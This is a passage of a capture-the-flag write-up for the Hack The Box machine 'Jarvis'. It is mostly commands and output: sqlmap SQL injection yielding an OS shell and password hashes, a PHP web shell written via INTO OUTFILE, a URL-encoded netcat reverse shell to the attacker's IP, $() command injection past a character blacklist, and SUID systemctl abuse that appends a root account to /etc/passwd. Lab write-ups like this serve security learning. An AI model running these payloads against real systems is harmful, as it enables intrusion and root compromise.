[22:23:11] [INFO] going to use a web backdoor for command prompt
[22:23:11] [INFO] fingerprinting the back-end DBMS operating system
[22:23:11] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
[22:23:13] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /usr/local/apache2/htdocs, /var/www/nginx-default, /srv/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: /var/www/html
[22:23:40] [INFO] retrieved web server absolute paths: '/images/'
[22:23:40] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
[22:23:42] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://jarvis.htb:80/tmpuujaq.php
[22:23:43] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://jarvis.htb:80/tmpbtwbt.php
[22:23:43] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] a
command standard output: 'www-data'
os-shell> id
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
os-shell>

From here we can simply execute a reverse shell command and get a shell.

Second way:

I used the --passwords option to dump the users’ password hashes:

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[email protected]:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" --passwords                                  
___
__H__
___ ___[,]_____ ___ ___ {1.3.4#stable}
|_ -| . [,] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:17:45 /2019-11-08/

[22:17:46] [INFO] resuming back-end DBMS 'mysql'
[22:17:46] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 9726=9726

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: cod=1 AND SLEEP(5)

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr
---
[22:17:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[22:17:46] [INFO] fetching database users password hashes
[22:17:46] [INFO] used SQL query returns 1 entry
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[22:17:53] [INFO] writing hashes to a temporary file '/tmp/sqlmapbAZ4vg2489/sqlmaphashes-KkbVkR.txt'
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] n
database management system users password hashes:
[*] DBadmin [1]:
password hash: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0

[22:17:55] [INFO] fetched data logged to text files under '/root/.sqlmap/output/jarvis.htb'

[*] ending @ 22:17:55 /2019-11-08/

[email protected]:~/Desktop/HTB/boxes/jarvis#

I got the password hash for DBadmin, I cracked it with crackstation:

Then I tried these credentials (DBadmin : imissyou) with phpmyadmin and I got in:


From the SQL console we can write a web shell:

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SELECT "<?php system($_GET['c']); ?>" into outfile "/var/www/html/sh3ll.php"

I used the netcat openbsd reverse shell payload from PayloadsAllTheThings to get a reverse shell, I had to url-encode it first:

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rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.xx.xx%201337%20%3E%2Ftmp%2Ff

Now we have a shell as www-data:

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[email protected]:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1337
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.143.
Ncat: Connection from 10.10.10.143:57400.
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
[email protected]:/var/www/html$ ^Z
[1]+ Stopped nc -lvnp 1337
[email protected]:~/Desktop/HTB/boxes/jarvis# stty raw -echo
[email protected]:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1337

[email protected]:/var/www/html$ export TERM=screen
[email protected]:/var/www/html$

Command Injection in simpler.py –> Shell as pepper –> User Flag

I checked the home directory and there was a user called pepper, I couldn’t read the user flag as www-data:

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[email protected]:/var/www/html$ cd /home/
[email protected]:/home$ ls -al
total 12
drwxr-xr-x 3 root root 4096 Mar 2 2019 .
drwxr-xr-x 23 root root 4096 Mar 3 2019 ..
drwxr-xr-x 4 pepper pepper 4096 Mar 5 2019 pepper
[email protected]:/home$ cd pepper/
www[email protected]:/home/pepper$ ls -al
total 32
drwxr-xr-x 4 pepper pepper 4096 Mar 5 2019 .
drwxr-xr-x 3 root root 4096 Mar 2 2019 ..
lrwxrwxrwx 1 root root 9 Mar 4 2019 .bash_history -> /dev/null
-rw-r--r-- 1 pepper pepper 220 Mar 2 2019 .bash_logout
-rw-r--r-- 1 pepper pepper 3526 Mar 2 2019 .bashrc
drwxr-xr-x 2 pepper pepper 4096 Mar 2 2019 .nano
-rw-r--r-- 1 pepper pepper 675 Mar 2 2019 .profile
drwxr-xr-x 3 pepper pepper 4096 Mar 4 2019 Web
-r--r----- 1 root pepper 33 Mar 5 2019 user.txt
[email protected]:/home/pepper$ cat user.txt
cat: user.txt: Permission denied
[email protected]:/home/pepper$

By running sudo -l I saw that I can run /var/www/Admin-Utilities/simpler.py as pepper without a password:

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[email protected]:/home/pepper$ sudo -l
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
[email protected]:/home/pepper$
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[email protected]:/home/pepper$ sudo -u pepper /var/www/Admin-Utilities/simpler.py
***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es

***********************************************


********************************************************
* Simpler - A simple simplifier ;) *
* Version 1.0 *
********************************************************
Usage: python3 simpler.py [options]

Options:
-h/--help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP

[email protected]:/home/pepper$

Let’s take a look at that script:

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[email protected]:/home/pepper$ cat /var/www/Admin-Utilities/simpler.py
#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re
def show_help():
message='''
********************************************************
* Simpler - A simple simplifier ;) *
* Version 1.0 *
********************************************************
Usage: python3 simpler.py [options]
Options:
-h/--help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP
'''
print(message)

def show_header():
print('''***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
''')
def show_statistics():
path = '/home/pepper/Web/Logs/'
print('Statistics\n-----------')
listed_files = listdir(path)
count = len(listed_files)
print('Number of Attackers: ' + str(count))
level_1 = 0
dat = datetime(1, 1, 1)
ip_list = []
reks = []
ip = ''
req = ''
rek = ''
for i in listed_files:
f = open(path + i, 'r')
lines = f.readlines()
level2, rek = get_max_level(lines)
fecha, requ = date_to_num(lines)
ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if fecha > dat:
dat = fecha
req = requ
ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if int(level2) > int(level_1):
level_1 = level2
ip_list = [ip]
reks=[rek]
elif int(level2) == int(level_1):
ip_list.append(ip)
reks.append(rek)
f.close()

print('Most Risky:')
if len(ip_list) > 1:
print('More than 1 ip found')
cont = 0
for i in ip_list:
print(' ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
cont = cont + 1

print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)

def list_ip():
print('Attackers\n-----------')
path = '/home/pepper/Web/Logs/'
listed_files = listdir(path)
for i in listed_files:
f = open(path + i,'r')
lines = f.readlines()
level,req = get_max_level(lines)
print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
f.close()

def date_to_num(lines):
dat = datetime(1,1,1)
ip = ''
req=''
for i in lines:
if 'Level' in i:
fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
regex = '(\d+)-(.*)-(\d+)(.*)'
logEx=re.match(regex, fecha).groups()
mes = to_dict(logEx[1])
fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
if fecha > dat:
dat = fecha
req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
return dat, req

def to_dict(name):
month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
return month_dict[name]

def get_max_level(lines):
level=0
for j in lines:
if 'Level' in j:
if int(j.split(' ')[4]) > int(level):
level = j.split(' ')[4]
req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
return level, req

def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)

if __name__ == '__main__':
show_header()
if len(sys.argv) != 2:
show_help()
exit()
if sys.argv[1] == '-h' or sys.argv[1] == '--help':
show_help()
exit()
elif sys.argv[1] == '-s':
show_statistics()
exit()
elif sys.argv[1] == '-l':
list_ip()
exit()
elif sys.argv[1] == '-p':
exec_ping()
exit()
else:
show_help()
exit()
[email protected]:/home/pepper$

The most interesting function in this script is exec_ping:

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def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)

It takes our input (it assumes that it’s an ip) and executes ping on it, to prevent command injection it checks for these characters:

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& ; - ` || |

However, It doesn’t check for the dollar sign ($), the dollar sign can be used to execute commands like this: $(command)
So for example if we do ping -c 1 $(echo 127.0.0.1), echo 127.0.0.1 will be executed first then the ping command will be executed:

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[email protected]:~/Desktop/HTB/boxes/jarvis# ping -c 1 $(echo 127.0.0.1)
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.072 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.072/0.072/0.072/0.000 ms
[email protected]:~/Desktop/HTB/boxes/jarvis#

ping -c 1 $(whoami) will result in an error message because it will try to ping root which is not a valid hostname:

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[email protected]:~/Desktop/HTB/boxes/jarvis#  ping -c 1 $(whoami)
ping: unknown host root
[email protected]:~/Desktop/HTB/boxes/jarvis#

So we can simply do $(bash) and we’ll get a shell:

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[email protected]:/home/pepper$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es

***********************************************

Enter an IP: $(bash)
[email protected]:~$

When I ran commands I didn’t get any output:

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[email protected]:~$ id
[email protected]:~$ cat user.txt
[email protected]:~$ ls -la
[email protected]:~$

So I executed a reverse shell command (I used the same payload I used before) and got a reverse shell as pepper:

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[email protected]:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1338
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1338
Ncat: Listening on 0.0.0.0:1338
Ncat: Connection from 10.10.10.143.
Ncat: Connection from 10.10.10.143:40124.
$ python -c "import pty;pty.spawn('/bin/bash')"
[email protected]:~$ ^Z
[1]+ Stopped nc -lvnp 1338
[email protected]:~/Desktop/HTB/boxes/jarvis# stty raw -echo
[email protected]:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1338

[email protected]:~$ export TERM=screen
[email protected]:~$ id
uid=1000(pepper) gid=1000(pepper) groups=1000(pepper)
[email protected]:~$ ls -al
total 32
drwxr-xr-x 4 pepper pepper 4096 Mar 5 2019 .
drwxr-xr-x 3 root root 4096 Mar 2 2019 ..
lrwxrwxrwx 1 root root 9 Mar 4 2019 .bash_history -> /dev/null
-rw-r--r-- 1 pepper pepper 220 Mar 2 2019 .bash_logout
-rw-r--r-- 1 pepper pepper 3526 Mar 2 2019 .bashrc
drwxr-xr-x 2 pepper pepper 4096 Mar 2 2019 .nano
-rw-r--r-- 1 pepper pepper 675 Mar 2 2019 .profile
drwxr-xr-x 3 pepper pepper 4096 Mar 4 2019 Web
-r--r----- 1 root pepper 33 Mar 5 2019 user.txt
[email protected]:~$

We owned user.

Systemctl: suid –> Root Shell –> Root Flag

When I checked the suid binaries I saw systemctl:

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[email protected]:~$ find / -perm -4000 2>/dev/null 
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
[email protected]:~$

systemctl may be used to introspect and control the state of the “systemd” system and service manager. -man7.org

To verify that it can be abused I checked gtfobins and found a page for it.
We need to create a service that executes a file of our choice when it starts, then we’ll use systemctl to enable and start it and the file will get executed as root.
I created a service that executes /dev/shm/root.sh:

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[Unit]
Description=pwned

[Service]
ExecStart=/dev/shm/root.sh

[Install]
WantedBy=multi-user.target

And I created /dev/shm/root.sh which echoes:

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rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash

to /etc/passwd to enable us to su as root with the credentials rooot : AAAA. (Check Ghoul).

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[email protected]:/dev/shm$ nano root.service
[email protected]:/dev/shm$ cat root.service
[Unit]
Description=pwned

[Service]
ExecStart=/dev/shm/root.sh

[Install]
WantedBy=multi-user.target
[email protected]:/dev/shm$ nano root.sh
[email protected]:/dev/shm$ chmod +x root.sh
[email protected]:/dev/shm$ cat root.sh
#!/bin/bash
echo 'rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash' >> /etc/passwd
[email protected]:/dev/shm$

I enabled the service and started it:

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[email protected]:/dev/shm$ systemctl enable /dev/shm/root.service
Created symlink /etc/systemd/system/multi-user.target.wants/root.service -> /dev/shm/root.service.
Created symlink /etc/systemd/system/root.service -> /dev/shm/root.service.
[email protected]:/dev/shm$ systemctl start root.service
[email protected]:/dev/shm$

Now if we check /etc/passwd we’ll see that it has been modified:

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[email protected]:/dev/shm$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
pepper:x:1000:1000:,,,:/home/pepper:/bin/bash
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash
[email protected]:/dev/shm$
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[email protected]:/dev/shm$ su rooot 
Password:
[email protected]:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/dev/shm# whoami
root
[email protected]:/dev/shm# cd /root/
[email protected]:~# ls -al
total 52
drwx------ 6 root root 4096 Mar 5 2019 .
drwxr-xr-x 23 root root 4096 Mar 3 2019 ..
lrwxrwxrwx 1 root root 9 Mar 4 2019 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 4 root root 4096 Mar 3 2019 .cache
-rwxr--r-- 1 root root 42 Mar 4 2019 clean.sh
drwxr-xr-x 3 root root 4096 Mar 3 2019 .config
drwxr-xr-x 3 root root 4096 Mar 3 2019 .local
lrwxrwxrwx 1 root root 9 Mar 4 2019 .mysql_history -> /dev/null
drwxr-xr-x 2 root root 4096 Mar 2 2019 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
lrwxrwxrwx 1 root root 9 Mar 4 2019 .python_history -> /dev/null
-r-------- 1 root root 33 Mar 5 2019 root.txt
-rw-r--r-- 1 root root 66 Mar 4 2019 .selected_editor
-rwxr-xr-x 1 root root 5271 Mar 5 2019 sqli_defender.py
[email protected]:~#


And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Haystack
Next Hack The Box write-up : Hack The Box - Networked

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